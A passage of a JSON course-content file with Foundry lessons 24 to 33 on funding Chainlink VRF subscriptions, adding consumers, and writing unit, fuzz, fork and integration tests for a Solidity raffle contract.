it:\n\n1. Initiate **Actions** > **Fund Subscription**.\n2. Specify the numbers of links you want to transfer.\n3. Confirm your transaction.\n\n\n\nInteresting to note here is that the function prompted in this process is not on your VR app but on the Link Token contract. We're actually transferring tokens to a subscriptions contract and using the 'Transfer and Call' function on our contract to do so.\n\n## Conclusion\n\nWhile this guide didn’t actually call the function, it's imperative to highlight that a balance of zero is absolutely alright. In fact, we'll cover adding Link to your ID in Solidity in the next lessons. Until then, remember:\n\n\n\nKeep experimenting, keep learning!\n", + "updates": [] + }, + { + "id": "73f1f9fb-9394-4e32-bb6d-e06009e3babc", + "number": 24, + "title": "Fund subscription", + "slug": "fund-subscription", + "folderName": "24-fund-subscription", + "description": "This lesson teaches how to create and execute a contract script to fund blockchain subscriptions, detailing the parameters needed and the process of funding subscriptions using mock functions.", + "duration": 13, + "videoUrl": "DgPYEyiE8NQ", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/24-fund-subscription/+page.md", + "markdownContent": "---\ntitle: Fund Subscriptions\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n## Creating a New Contract\n\nFirst things first. Head over to the Interactions section, and create a new contract, named `FundSubscription`. This contract script, residing within `interactions.s.sol`, will allow you to select an amount and fund your subscription.\n\nRemember, the amount has to be a `uint96` , but let's keep things simple for now and set a public constant `FUND_AMOUNT` to three ether.\n\n```js\nuint96 public constant FUND_AMOUNT = 3 ether;\n```\n\n## Setting the Parameters\n\nTo fund your subscription, you will need three important elements:\n\n- Subscription ID\n- VRF Coordinator V2 address\n- Link address\n\nStart by specifying the `VRFCoordinator` address and the `uint64` `subId`. The `subID` corresponds to the subscription you want to fund.\n\n```js\nHelperConfig helperConfig = new HelperConfig();\n (\n uint64 subId,\n ,\n ,\n ,\n ,\n address vrfCoordinatorV2,\n address link,\n uint256 deployerKey\n ) = helperConfig.activeNetworkConfig();\n```\n\nFor these configurations, you'll use the already existing `HelperConfig.s.sol`. However, you'll notice, it doesn't yet include a link token. Adding a link token will facilitate funding the subscription as it forms the basis of the contract call.\n\nThe link tokens for Sepolia already exist, and they can be easily found and added.\n\nNext, for Anvil, you'll need to deploy a mock link token. To ease the process, simply rewrite the link contract for a newer version of Solidity. This can be easily done using my Foundry smart contract lottery F23.\n\n## Funding the Subscription\n\nNow that the `link_address` is ready, go back to your interactions and create a new function named `fund_subscription`. The function should have three inputs: `VRF_Coordinator`, `sub_ID`, and `link`.\n\n```js\ncontract FundSubscription is Script {\n uint96 public constant FUND_AMOUNT = 3 ether;\n\n function fundSubscriptionUsingConfig() public {\n HelperConfig helperConfig = new HelperConfig();\n (\n uint64 subId,\n ,\n ,\n ,\n ,\n address vrfCoordinatorV2,\n address link,\n uint256 deployerKey\n ) = helperConfig.activeNetworkConfig();\n fundSubscription(vrfCoordinatorV2, subId, link, deployerKey);\n }\n```\n\nThis function works in much the same way as the front-end does to fund subscriptions. However, remember that the VRF Coordinator Mock interacts with the link token transfers in a different way than the actual contract, hence the mock's funding subscription mechanism is different.\n\nWhen you're testing your code on your local chain, you can call the `VM_Start_Broadcast` function before and `VM_Stop_Broadcast` function after the line of code which contains the `fundSubscriptionUsingConfig` method.\n\n```js\nif (subscriptionId == 0) {\n CreateSubscription createSubscription = new CreateSubscription();\n subscriptionId = createSubscription.createSubscription(\n vrfCoordinatorV2,\n deployerKey\n );\n\n FundSubscription fundSubscription = new FundSubscription();\n fundSubscription.fundSubscription(\n vrfCoordinatorV2,\n subscriptionId,\n link,\n deployerKey\n );\n }\n\n```\n\nFinally, compile all the contracts using forge build. If everything compiles successfully, your contract has been created and is ready to perform transactions!\n\n## A Final Comment\n\nThe above steps outline a process whereby you can automate the process of funding blockchain-based subscriptions. Remember, this is not the final product, but an intermediary step in the development of a blockchain-based subscription service. Please do not use this code in a production environment without further testing and validation.\n\nRemember, it's always better to test your code in a secure environment before deploying it. The world of coding is vast, and there's so much more to explore. Happy coding!\n", + "updates": [] + }, + { + "id": "f29c650a-74b8-4a00-8fb2-b3aa5b81c732", + "number": 25, + "title": "Adding a consumer", + "slug": "add-consumer", + "folderName": "25-add-consumer", + "description": "Focusing on adding a consumer to a subscription, this lesson explains the process of adding a consumer contract to a Chainlink VRF subscription, using scripting to simplify the deployment and management.", + "duration": 10, + "videoUrl": "VxdPI856Ck4", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/25-add-consumer/+page.md", + "markdownContent": "---\ntitle: Add Consumer\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n## Adding the Consumer\n\nWe can execute code snippets similar to the ones we used earlier while adding the consumer.\n\n```shell\ncontract AddConsumer is Script {}}\n```\n\nTo add a consumer, we need to write the `addConsumer` function, which will do most of the operations we've previously executed.\n\n```javascript\nfunction addConsumer(\n address contractToAddToVrf,\n address vrfCoordinator,\n uint64 subId,\n uint256 deployerKey\n ) public {\n console.log(\"Adding consumer contract: \", contractToAddToVrf);\n console.log(\"Using vrfCoordinator: \", vrfCoordinator);\n console.log(\"On ChainID: \", block.chainid);\n vm.startBroadcast(deployerKey);\n VRFCoordinatorV2Mock(vrfCoordinator).addConsumer(\n subId,\n contractToAddToVrf\n );\n vm.stopBroadcast();\n }\n```\n\nNow we can create a function to create a consumer based on the config like this:\n\n```js\n function addConsumerUsingConfig(address mostRecentlyDeployed) public {\n HelperConfig helperConfig = new HelperConfig();\n (\n uint64 subId,\n ,\n ,\n ,\n ,\n address vrfCoordinatorV2,\n ,\n uint256 deployerKey\n ) = helperConfig.activeNetworkConfig();\n addConsumer(mostRecentlyDeployed, vrfCoordinatorV2, subId, deployerKey);\n }\n```\n\nThis function calls the `addConsumer` function using the subscription ID and the address of the raffle contract. The subscription ID is retrieved from the config while the contract address is passed directly to the function.\n\n## Testing the Script\n\nNow comes the most awaited part - testing our creation! And guess what? It passes with flying colors!\n\nIt's such a thrill to see our creation fare so well. And the best part? We no longer require any manual inputs or interactions with the UI. We've reduced the entire contract deployment and management to just one command. Brilliant, isn't it?\n\n\n\n## On a Concluding Note\n\nKudos on keeping up with this journey! Done for the day and might be feeling overwhelmed at the volume of data thrown at you? Feel free to take a well-earned break.\n\nRemember to savor the win. Pull yourself a pint of ice cream or some sushi, my personal favourite. Come back when your mind is fresh, open and ready to tackle the next set of challenges.\n\nHere's a virtual tap on the back for making it this far. Your effort is really commendable. Keep up the good work and remember to take care of your \"giant muscle\" that is your brain. Don't hesitate to voice your doubts either to your AI buddy or the discussions forum. And remember -\n\n\n\nSee you soon, folks! Keep your queries coming and the enthusiasm flowing.\n", + "updates": [] + }, + { + "id": "c3314def-303b-4994-ac86-0999bf5b7b2f", + "number": 26, + "title": "Adding more tests", + "slug": "more-tests", + "folderName": "26-more-tests", + "description": "A continuation of developing comprehensive tests for smart contracts, this lesson focuses on enhancing code coverage and efficiency in testing, particularly for the `check upkeep` function.", + "duration": 7, + "videoUrl": "VgkTCfdufBI", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/26-more-tests/+page.md", + "markdownContent": "---\ntitle: More Tests\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nAlright, welcome back! Let's dive right into writing tests for our smart contracts with an emphasis on code coverage and efficiency. Hope you had a little break because, remember, breaks are essential for productivity and focus. Let's continue with our mission to enhance our test coverage.\n\nRunning `forge coverage` produces somewhat less-than-satisfactory results. So we need to push on and try to ramp up our coverage.\n\n## Check Upkeep Tests\n\nFirst up on our list is the `check upkeep` function from the raffle contract. This crucial method oversees the contract's health, and it's time that we provide solid tests for it. To start, do a bunch of slashes followed by `check upkeep` just to keep things tidy!\n\nRemember, we have numerous scenarios to verify for the `check upkeep` function. For example, the method should return false if the contract lacks a balance, isn't open, or when enough time hasn't passed.\n\n### Scenario I: Test Check Upkeep Returns False When Contract Has No Balance\n\n```js\nfunction testCheckUpkeepReturnsFalseIfItHasNoBalance() public {\n // Arrange\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n\n // Act\n (bool upkeepNeeded, ) = raffle.checkUpkeep(\"\");\n\n // Assert\n assert(!upkeepNeeded);\n }\n```\n\nIn this particular test, we're mainly focused on the scenario where the contract doesn't have a balance. We're ensuring that all other conditions are met and verifying that lacking balance results in the function returning false.\n\nWe arrange our test by ensuring that sufficient time has passed by implementing `VM.warp` with the current `block.timestamp`, increased by the `interval`, then some and carry out `VM.roll` with `block.number + 1`.\n\nThe act section employs the `checkUpkeep` method and assigns the result to the `upkeep_needed` variable. Finally, we assert that not `upkeep_needed` equals true, confirming that the function returns false in this scenario.\n\n### Scenario II: Test Check Upkeep Returns False When Raffle Isn't Open\n\n```js\nfunction testCheckUpkeepReturnsFalseIfRaffleIsntOpen() public {\n // Arrange\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n raffle.performUpkeep(\"\");\n Raffle.RaffleState raffleState = raffle.getRaffleState();\n // Act\n (bool upkeepNeeded, ) = raffle.checkUpkeep(\"\");\n // Assert\n assert(raffleState == Raffle.RaffleState.CALCULATING);\n assert(upkeepNeeded == false);\n }\n```\n\nThe second scenario we're testing looks at the situation where the raffle isn't open. We arrange this by first entering the raffle with a stipulated entrance fee, after pretending to be the player with `VM.frank(player)`. We then kick off `performUpkeep` to initiate the calculating mode. Our function should return false at this point because the raffle is in the calculating state.\n\nOnce again, the `act` section involves running the `checkUpkeep` method, and we use `assert(upkeepNeeded == false);` or `assert not upkeep_needed` to confirm our expectation in the `assert` section.\n\n### More Tests and Debug Mode\n\nWe still have more tests to write, and to get a clearer idea of the coverage required; consider running `forge coverage` in debug mode. This command will generate an output telling you exactly which lines haven't been covered.\n\n```bash\nforge coverage --report debug > coverage.txt\n\n\n```\n\nBy outputting the report into a file called `coverage.txt`, we can then review the generated report. This output details the precise lines of code not covered for each section.\n\n## Challenge\n\nNow that you're well-versed in the dynamics of testing for contract health, I challenge you to write two more tests:\n\n1. `function testCheckUpkeepReturnsFalseIfEnoughTimeHasntPassed`: This checks if enough time has passed before performing assertions.\n\nFeel free to compare these tests with the ones available on the linked GitHub repository for this course. Happy testing!\n", + "updates": [] + }, + { + "id": "6b573f84-8ab8-4eec-881f-c0d71cf12ca9", + "number": 27, + "title": "Testing and refactoring the performUpkeep", + "slug": "test-and-refactor-perform-upkeep", + "folderName": "27-perform-upkeep", + "description": "This lesson delves into writing tests for the `performUpkeep` function, emphasizing the need for thorough testing and refactoring to ensure the reliability and efficiency of smart contracts.", + "duration": 5, + "videoUrl": "EIYRoNCkUz0", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/27-perform-upkeep/+page.md", + "markdownContent": "---\ntitle: Perform Upkeep\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nToday we'll be specifically digging into `PerformUpkeep` tests. Writing and testing functions within your code are vital to a healthy codebase. This post will walk you through the process, step-by-step, using JavaScript, making sure to cover every detail the original transcript provides.\n\n## Function Test: `Perform Upkeep` can only run if `check upkeep` is true\n\nOur journey starts with the function test `Perform Upkeep can only run if check upkeep is true`. Here's how you should go about it:\n\n```javascript\nfunction testPerformUpkeepCanOnlyRunIfCheckUpkeepIsTrue() public {\n // Arrange\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n\n // Act / Assert\n // It doesnt revert\n raffle.performUpkeep(\"\");\n }\n```\n\nTo validate this function, you simply need to run it since, in Foundry, there's no `expect not revert`. Thus, if the transaction doesn't revert, the test is considered to be passed. Here's how:\n\n```shell\nforge test -m testPerformUpkeepCanOnlyRunIfCheckUpkeepIsTrue\n```\n\nIf everything is set correctly, your test will pass. If for example, some parameters were commented out, it would inevitably fail because the `Perform upkeep` would fail. This prompts an error message stating 'Raffle upkeep not needed'.\n\n\n\nThe completion of these steps has yielded a well-rounded test that allows you to screen for potential errors. To run this final version, you need to open your terminal and run the following command:\n\n```shell\nforge test -m [paste your function here]\n```\n\nOur programming journey, although complex, is also exciting. Stride forward with confidence, knowing that every error is a stepping stone to more robust code.\n", + "updates": [] + }, + { + "id": "63c994b2-6e8e-4c73-ab50-1b4ec593c5c1", + "number": 28, + "title": "Refactoring events data", + "slug": "event-data", + "folderName": "28-event-data", + "description": "A guide to refining the use of emitted events in smart contracts, this lesson covers extracting and utilizing event data, with a focus on testing and improving code efficiency.", + "duration": 9, + "videoUrl": "nliBD510_ck", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/28-event-data/+page.md", + "markdownContent": "---\ntitle: Getting Event Data Into Foundry\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n## Part 1: Emit - Necessary or Redundant?\n\nConsider this situation: We have a function, `performUpkeep`, and we want to learn more about it by giving it an extra emit. We'll write an event `requestedRaffleWinner`. This event will get emitted when we call the `performUpkeep` function, with an associated variable, Request ID.\n\nBut wait, is this redundant?\n\nThe way to find out if this is redundant or necessary is by checking our existing contract. We'll look up the `VRFCoordinatorMock` function and search for `requestRandomWords`. If there is an event `randomWordsRequested` which already includes the 'Request ID', then emitting the Request ID again would indeed be redundant.\n\nHowever, in this article, we'll follow through with the redundancy to simplify our testing process.\n\n\n\nEven though this might seem like lousy form, retreading this process is crucial, especially when we test for outputs from events. A prime example is the ChainlinkVRF, which functions by listening to this event that gets emitted.\n\n## Part 2: Writing Tests and Refactoring\n\nNow that we've covered the grounds, let's head straight into writing test cases for `Perform Upkeep` and refactor some parts of our code to improve efficiency.\n\nWe'll start with a Function Test for Perform Upkeep and declare it as Public. Then we do the same with VM Warp and VM Roll―quite repetitive, isn't it? Ideally, these should be refactored into a modifier to reduce redundancy and enhance code readability.\n\nHere's our new modifier `RaffleEnteredAndTimePassed`:\n\n```js\nmodifier raffleEntered() {\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n _;\n }\n\n```\n\nThen, we move right along to create our raffle. The intent is to capture the emitted request ID, which is not accessible by the Raffle Contract. From here, we need to learn how to get the output of these events while testing.\n\nFor that, we use our trusty friend, `recordLogs`. This function records all emitted events, which we can then access using `getRecordedLogs`.\n\nOur next step is to introduce a new type of list to store the emitted events― `Vm.Log Array`.\n\n```js\n Vm.Log[] memory entries = vm.getRecordedLogs();\n```\n\nAgain, to make use of `Vm`, you'll have to import it from `forge-std/Vm.sol`.\n\n## Part 3: Request ID & Working with Emitted Events\n\nNow that we have our recorded logs, we can extract the Request ID using this list of emitted events.\n\nNow remember, this list contains all the events that were emitted during the process. Therefore, understanding the transaction and recognizing the events is crucial in this step.\n\nUsing the debugger, we skip ahead and identify that our requested event 'Raffle Winner' is the second event emitted in this transaction.\n\n```js\nbytes32 requestId = entries[1].topics[1];\n```\n\nThe zeroth index would refer to the event `randomWordsRequested` in the mock. The first index refers to our requested event.\n\nThe last step involves creating a True/False condition to confirm if the Request ID was correctly generated.\n\n```js\nassert(uint256(requestId) > 0);\n```\n\nThus, ensuring the Request ID is not default and zero.\n\nFor a more foolproof test, also check the Raffle state equals one for calculating, increasing the robustness of your function.\n\nFinally, when you run the test cases in your terminal, you should get successful outputs.\n\n## Congrats\n\nThat's all for now, developers. Keep on coding—until next time!\n", + "updates": [] + }, + { + "id": "6ee77112-cfa6-4c19-837e-7efcb03f8faf", + "number": 29, + "title": "Intro to fuzz testing", + "slug": "intro-smart-contract-fuzz-testing", + "folderName": "29-intro-fuzz-testing", + "description": "Introducing fuzz testing in blockchain development, this lesson explores using random inputs for testing smart contracts, emphasizing the importance of mock functions and fuzz testing for secure and stable systems.", + "duration": 4, + "videoUrl": "aCY7nIMVLSY", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/29-intro-fuzz-testing/+page.md", + "markdownContent": "---\ntitle: Intro to Fuzz Testing\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nIn this lesson, we will dive deep into the world of testing in blockchain development, focusing on using \"mock functions\" and a technique called \"fuzz testing.\" These tools are essential for ensuring that your code is functioning as expected and you're creating a secure, stable system.\n\n## Understanding Mock Functions\n\nFirst, let's dig into the concept of using a mock function for our tests.\n\n```java\nfunction testFulfillRandomWordsCanOnlyBeCalledAfterPerformUpkeep()\n public\n raffleEntered\n skipFork\n {\n // Arrange\n // Act / Assert\n vm.expectRevert(\"nonexistent request\");\n // vm.mockCall could be used here...\n VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(\n 0,\n address(raffle)\n );\n\n vm.expectRevert(\"nonexistent request\");\n\n VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(\n 1,\n address(raffle)\n );\n }\n```\n\nThis script describes a test for a mock functionality we're planning to incorporate into our project. We want to ascertain that the `fulfillRandomWords` function can only be called after `performUpkeep` has been executed. It's crucial that we navigate how the tests operate and how to write such tests that guarantee our systems indeed work.\n\n\n\nIn order to mimic a situation where we actually call `fulfillRandomWords` and observe a failed test, we are going to use another mock function. We will endeavor to make sure that calling `fulfillRandomWords` on the mock invariably reverts.\n\nThis script denotes the process of utilizing the `fulfillRandomWords` function with a fictitious request ID and an address of a consumer. We expect this to fail since `performUpkeep` hasn't been executed yet.\n\n## What is Fuzz Testing?\n\nWhen testing, it's unrealistic to test every single possible variable input to a function, especially when the valid input number is enormous. This is where fuzz testing comes in.\n\nFuzz testing is an approach that helps us generate random inputs to our test. Instead of us inputting manual entries like 0, 1, 2... etc., we utilize a random generator that provides these entries for us.\n\nSo, through the magic of fuzz testing, Foundry will generate random numbers and run this test many times with many random numbers, consistently checking if `nonexistentRequest` error occurs.\n\n```\nforge test -m\n```\n\nRunning this test, we'll find that the function passed, and upon inspecting the test output, we'd get 256 runs, meaning that Foundry generated 256 random numbers and ran the test with those parameters.\n\nThese techniques — mocking and fuzz testing, come in handy when upping the security of your contract and improving your testing skills. If any of these concepts don't yet fully make sense, don't fret.\n\nThe goal isn't to perfect the art immediately but to gradually become familiar with the use of smart tests in your smart contracts and get better over time. As always, continue experimenting and happy testing!\n\n\n", + "updates": [] + }, + { + "id": "0e5e5907-79e4-44a5-810b-b2cc31b46b3f", + "number": 30, + "title": "One Big Test", + "slug": "one-big-test", + "folderName": "30-one-big-test", + "description": "This lesson focuses on creating a comprehensive function test for a Raffle contract in a blockchain environment, covering the entire lifecycle of a raffle including entry, drawing, and prize distribution, and integrating Chainlink VRF in a test environment.", + "duration": 11, + "videoUrl": "rr4xH7YAQXc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/30-one-big-test/+page.md", + "markdownContent": "---\ntitle: One Big Test\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nToday, we delve into the function-testing sphere of smart contract development by focusing on our Raffle contract functionality.\n\nThis guide will explore the construction and execution of extensive functionality tests through writing a big, novel function in a smart contract.\n\n## Constructing the Test Function\n\nLet's start off by creating a function titled `testFulfillRandomWordsPicksAWinnerResetsAndSendsMoney`.\n\nThis function will simulate a complete raffle lifecycle in a public setting. We'll adhere to our contract rules; enter the lottery several times, speed up the time, and operate routine maintenance. We also include a call to the Chainlink node to procure a random number.\n\nHere is what the function set-up looks like:\n\n```js\n function testFulfillRandomWordsPicksAWinnerResetsAndSendsMoney()\n public\n raffleEntered\n skipFork\n {}\n```\n\n## Mocking the Chainlink VRF\n\nWithin this function, an important call to the `fulfillRandomWords` function occurs. However, the intricacies of running on a local fake chain require us to impersonate the Chainlink VRF to call `fulfillRandomWords`.\n\n\n\nConsequently, we work within our local test environment and set up a pretend Chainlink node to call `fulfillRandomWords`.\n\n## Adding Multiple Lottery Entries\n\nOnce this is set up, we add multiple entries to the lottery. We start with five additional entrants and a starting index of one because index zero does not apply here.\n\n```js\n // Arrange\n uint256 additionalEntrances = 3;\n uint256 startingIndex = 1;\n\n```\n\nTo make our raffle interesting, we create random entrants and generate unique addresses for each. We proceed to give each of them 1 ether using the Hoax cheat code and let them join the raffle.\n\nIn code, this looks like:\n\n```js\n for (\n uint256 i = startingIndex;\n i < startingIndex + additionalEntrances;\n i++\n ) {\n address player = address(uint160(i));\n hoax(player, 1 ether); // deal 1 eth to the player\n raffle.enterRaffle{value: raffleEntranceFee}();\n }\n```\n\n## Engaging the Chainlink VRF\n\nNow that we have a raffle filled with players, it's time to call in Chainlink VRF to generate a random number which we then use to pick a winner. We then assert various conditions to ensure all elements of the raffle have been reset and the winner is given the prize money.\n\n## Debugging Failing Tests\n\nDuring the initial test run, we faced an assertion violation. When writing code, it's inevitable that you'll encounter debugging issues. In our case, the issue originated from a balance comparison discrepancy due to not considering the entry fee paid by the player.\n\nWhen revising our test, we accounted for the entrance fee and once we implemented those changes, our test yielded a pass result.\n\nOur final test function may look a bit daunting at first, but each step within it serves important functionality and ensures our contract behaves as expected. And there you have it, a full testing function for entering, drawing, and resetting a raffle!\n\nBut we're not quite done yet; testing the coverage of our contract revealed a percentage coverage, with room for improvement. However, it was significantly better than the initial coverage. Despite this, our journey towards perfect function coverage continues...\n\nThis is how the final test looks like:\n\n```js\nfunction testFulfillRandomWordsPicksAWinnerResetsAndSendsMoney()\n public\n raffleEntered\n skipFork\n {\n address expectedWinner = address(1);\n\n // Arrange\n uint256 additionalEntrances = 3;\n uint256 startingIndex = 1; // We have starting index be 1 so we can start with address(1) and not address(0)\n\n for (\n uint256 i = startingIndex;\n i < startingIndex + additionalEntrances;\n i++\n ) {\n address player = address(uint160(i));\n hoax(player, 1 ether); // deal 1 eth to the player\n raffle.enterRaffle{value: raffleEntranceFee}();\n }\n\n uint256 startingTimeStamp = raffle.getLastTimeStamp();\n uint256 startingBalance = expectedWinner.balance;\n\n // Act\n vm.recordLogs();\n raffle.performUpkeep(\"\"); // emits requestId\n Vm.Log[] memory entries = vm.getRecordedLogs();\n bytes32 requestId = entries[1].topics[1]; // get the requestId from the logs\n\n VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(\n uint256(requestId),\n address(raffle)\n );\n\n // Assert\n address recentWinner = raffle.getRecentWinner();\n Raffle.RaffleState raffleState = raffle.getRaffleState();\n uint256 winnerBalance = recentWinner.balance;\n uint256 endingTimeStamp = raffle.getLastTimeStamp();\n uint256 prize = raffleEntranceFee * (additionalEntrances + 1);\n\n assert(recentWinner == expectedWinner);\n assert(uint256(raffleState) == 0);\n assert(winnerBalance == startingBalance + prize);\n assert(endingTimeStamp > startingTimeStamp);\n }\n\n```\n\nIn conclusion, writing a successful test suite is an iterative process, whether it's adjusting code or debugging errors, achieving a fully functional contract with a high coverage is definitely a satisfying feat!\n\nGreat job for sticking with it thus far, and happy coding!\n", + "updates": [] + }, + { + "id": "c19283e4-ea96-419c-ae38-49d3ad8dfb3b", + "number": 31, + "title": "Forked test environment and dynamic private keys", + "slug": "passing-private-key", + "folderName": "31-passing-private-key", + "description": "A guide on running tests in a forked test environment, addressing the challenges and solutions related to deployer identification. It covers the dynamics of testing smart contracts on different blockchain environments and the importance of dynamic deployer keys.", + "duration": 15, + "videoUrl": "SiO9HENjSl8", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/31-passing-private-key/+page.md", + "markdownContent": "---\ntitle: Passing the Private Key in\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n## Setting up the Fork Test\n\nThe goal is to try running our tests on a **forked test environment**. Before that, we have successfully run it on our local environment, the anvil. But now, we want to see how our code performs when running on a fork test. Depending on your expectation, jot down what you think would happen.\n\n```bash\nforge test --fork-url $SEPOLIA_RPC_URL\n```\n\nNow, if your prediction was an error message, then you are correct! We got an error right during setup. But why is this failing? Let's dive deeper into this.\n\n### Analyzing the Error\n\nWhen we run our forged test with multiple verbosity `-vvvv`, we can see the specific error: `must be sub owner when we try to add a consumer`. This problem arises when our test setup calls `Deployer Run`, which runs our Deploy Raffle and tries to add a consumer with our subscription ID.\n\nThe crux of the issue lies in the identification of the deployer. This error means only the person who launched the subscription can do this. So, to solve this, we need to refactor our code so that it works no matter the environment.\n\n```bash\nforge build\n```\n\n### Resolving the Error - Deployer Identification\n\nTo correct this issue, we need to make `deployer key` dynamic, depending on whether we're in a local or a non-local environment. In a local environment like Anvil, we use a default key whereas on a network like Sepolia we use a real key given by an environment variable.\n\nThis refactoring also involves modifying the Add Consumer to include the `deployer key`. This way, we ensure that we use the same key as the deployer when adding a consumer to start broadcasting.\n\n```bash\nforge test --fork-url $SEPOLIA_RPC_URL\n```\n\nNow, when we run the code, we find two failing tests regarding fulfilling random words after performing upkeep. This is because the actual contract requires different inputs than the local environment.\n\n### Skipping Fork\n\nThe easier way around these final two failing tests is to add a `skip fork` modifier to run these tests only on an anvil chain. There exists another, more complex solution to this; involving the recreation of code to generate the proof and request commitment, essentially replicating much of the codebase of the actual chain-link node. However, as the purpose of this post is to demonstrate testing code failures and rectification, we opted for the simpler solution.\n\n```js\n modifier skipFork() {\n if (block.chainid != 31337) {\n return;\n }\n _;\n }\n\n```\n\nNow that we have added the `skip fork` modifier to prevent these tests from running on a forked setup, we should no longer get an error during the test.\n\nAt this stage, you can uncomment your code to rerun the tests and this time, you should not encounter any error - both on the local and the forked test.\n\nCongratulations, you have now successfully rectified an error on a forked test!\n\n## Coverage Reports\n\nAfter successfully running our tests on both local and forked environments, we then look at our **coverage results**. Coverage testing helps to identify areas of the codebase without test coverage, which are potentially risky and can affect the functionality.\n\n```bash\nforge coverage\n```\n\nThis command generates a coverage report, and once we run it, we see that we have a higher coverage percentage than before. You do have the option to run `forge coverage report` to evaluate in detail the components lacking test coverage.\n\nAs a golden rule, your code is ready to move onto the next stage, or even for an audit only if you are confident about the coverage testing results.\n\n## Conclusion\n\nIn this blog post, we saw how to test code in different environments - the local anvil and a fork environment, and tackled a common error associated with deployer identification. We analyzed, refactored the code, inserted a skip fork modifier, and surveyed our test coverage. Remember that, in software development, it is never about the code working locally, but it's more about its ability to adapt and work well in any environment it may find itself operating in.\n\n\n\nRemember, testing your code under different scenarios and environments is crucial for robust and reliable software delivery. Being comfortable with rewriting, refactoring, and updating your tests is a significant part of your journey as a competent developer.\n\nKeep learning ans we will see you in the next lesson!\n", + "updates": [] + }, + { + "id": "1b90aea4-ceb7-4a6a-9aee-3b5f5301a2c4", + "number": 32, + "title": "Creating integration tests", + "slug": "solidity-integration-tests", + "folderName": "32-integration-tests", + "description": "This lesson transitions from unit testing to integration testing in smart contract development, highlighting the significance of deploying and testing on testnets and mainnets. It offers insights into the practical aspects of ensuring smart contracts function as intended in a live blockchain environment.", + "duration": 4, + "videoUrl": "q_0eIzwxcrc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/32-integration-tests/+page.md", + "markdownContent": "---\ntitle: Integration Tests\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nYes, you've guessed it correctly. It's another installation on testing! We've discussed unit tests in our previous articles, but today, we're going a notch higher. We are diving deep into integration tests with a special focus on smart contracts. Moreover, we will discover the significance of testnets and their roles in deployment and testing. Let's get into it!\n\n## The Transition from Unit to Integration Tests\n\nI know, we just covered unit tests, but we're not even close to done. The world of testing in blockchain development is wide, and it's split into categories. To begin with, there are unit tests, and then we transition into our focus for today: integration tests.\n\nIntegration tests involve testing our deploy scripts along with various components of our smart contracts. This way, we ensure that each piece of the puzzle fits together to form our desired application or system. Exciting, right?\n\nLet's jump into some coding. To move our interactions test (test.sol) to integration, simply grab it and move it up into the integration section.\n\n\n\nAnd there you have it! You're now working in the realm of integration tests!\n\n\n\n## Flying with Testnets\n\nAs opposed to just performing unit and integration tests, it's also worth considering whether you should deploy your smart contracts to a testnet or even a mainnet. By doing so, you expose your contracts to a live environment. This will help you understand the real-life performance of your contract.\n\nSome people would even go as far as deploying their contracts to [Polygon](https://polygon.technology/), a cheap live network, to test their contracts in a production environment.\n\nCoincidentally, some blockchain networks like [Polkadot](https://polkadot.network/) have their unique staging blockchain known as Kusama.\n\n\n\n## Writing and Running Integration Tests\n\nNow, let's write some integration tests and run the deploy script. You'll have a chance to see the lottery in action on a testnet.\n\nRemember, seeing is often believing, but testnets can sometimes be fickle. They can test your patience, but seeing your contract perform in a testnet environment can be a solid reassurance that it works!\n\n## Considerations and Conclusion\n\nWith testing, it's essential to be thorough, but we should also consider the limitations of our testing environments. For instance, Foundry, though a fantastic framework for smart contract testing, can be a bit challenging when dealing with off-chain systems. That's why we're skipping a lot of staging tests.\n\nHowever, fear not! With a well-done job on unit and integration tests, we're off to a great start. Here's where I leave it to you. Try running the test suite ensuring the deploy raffle is all green, and if you're feeling ambitious, aim to get that interactions test suite up and running as well.\n\nHappy testing!\n", + "updates": [] + }, + { + "id": "a5038a9e-e70b-4db1-b087-a1c9855e7a5d", + "number": 33, + "title": "Deploy the lottery on the testnet pt.1", + "slug": "testnet-demo", + "folderName": "33-testnet-demo", + "description": "In this lesson, learners are guided through deploying a smart contract onto a testnet, using a Makefile for automation, and interacting with the live contract on Etherscan. It emphasizes the real-world application and testing of smart contracts.", + "duration": 8, + "videoUrl": "9h98l1o6Oqc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/33-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Testnet Demo with a Makefile\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nThe value of testing cannot be overstated when it comes to developing robust and reliable code. We've been discussing the importance of intensive testing, but today, we will explore whether the code we've been testing actually works on a real main net, or a real test net. Let's dive right in!\n\n## Let's Run Our Forge Script\n\nUsually, we'd opt to run our forge script to verify if our test data holds up on actual main or test nets. However, in this case, we're taking a slightly different route because we can automate this process using a `Makefile`.\n\n```makefile\n-include .env\n\n.PHONY all test 